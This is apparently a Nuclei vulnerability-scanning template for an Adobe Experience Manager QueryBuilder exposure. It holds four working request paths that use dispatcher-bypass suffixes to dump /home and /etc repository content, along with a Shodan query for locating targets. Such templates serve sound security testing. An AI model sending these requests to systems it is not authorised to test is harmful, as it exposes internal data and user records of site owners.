id: aem-querybuilder-internal-path-read

info:
  name: AEM QueryBuilder Internal Path Read
  author: DhiyaneshDk
  severity: medium
  description: AEM QueryBuilder is vulnerable to LFI.
  reference:
    - https://speakerdeck.com/0ang3el/aem-hacker-approaching-adobe-experience-manager-webapps-in-bug-bounty-programs?slide=91
  classification:
    cpe: cpe:2.3:a:adobe:experience_manager:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: adobe
    product: experience_manager
    shodan-query: http.component:"Adobe Experience Manager"
  tags: aem,misconfig

http:
  - method: GET
    path:
      - '{{BaseURL}}/bin/querybuilder.json.;%0aa.css?path=/home&p.hits=full&p.limit=-1'
      - '{{BaseURL}}/bin/querybuilder.json.;%0aa.css?path=/etc&p.hits=full&p.limit=-1'
      - '{{BaseURL}}/bin/querybuilder.json.css?path=/home&p.hits=full&p.limit=-1'
      - '{{BaseURL}}/bin/querybuilder.json.css?path=/etc&p.hits=full&p.limit=-1'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - 'jcr:path'
          - 'success'
        condition: and
# digest: 4b0a004830460221009f84d411df59808ab0aab9c87704183f380d28cbde5439087f8b1071a2300cd7022100ade3790473fc91c225acbe63b274b65dd22f8a4c593552388c9352d8369337bd:922c64590222798bb761d5b6d8e72950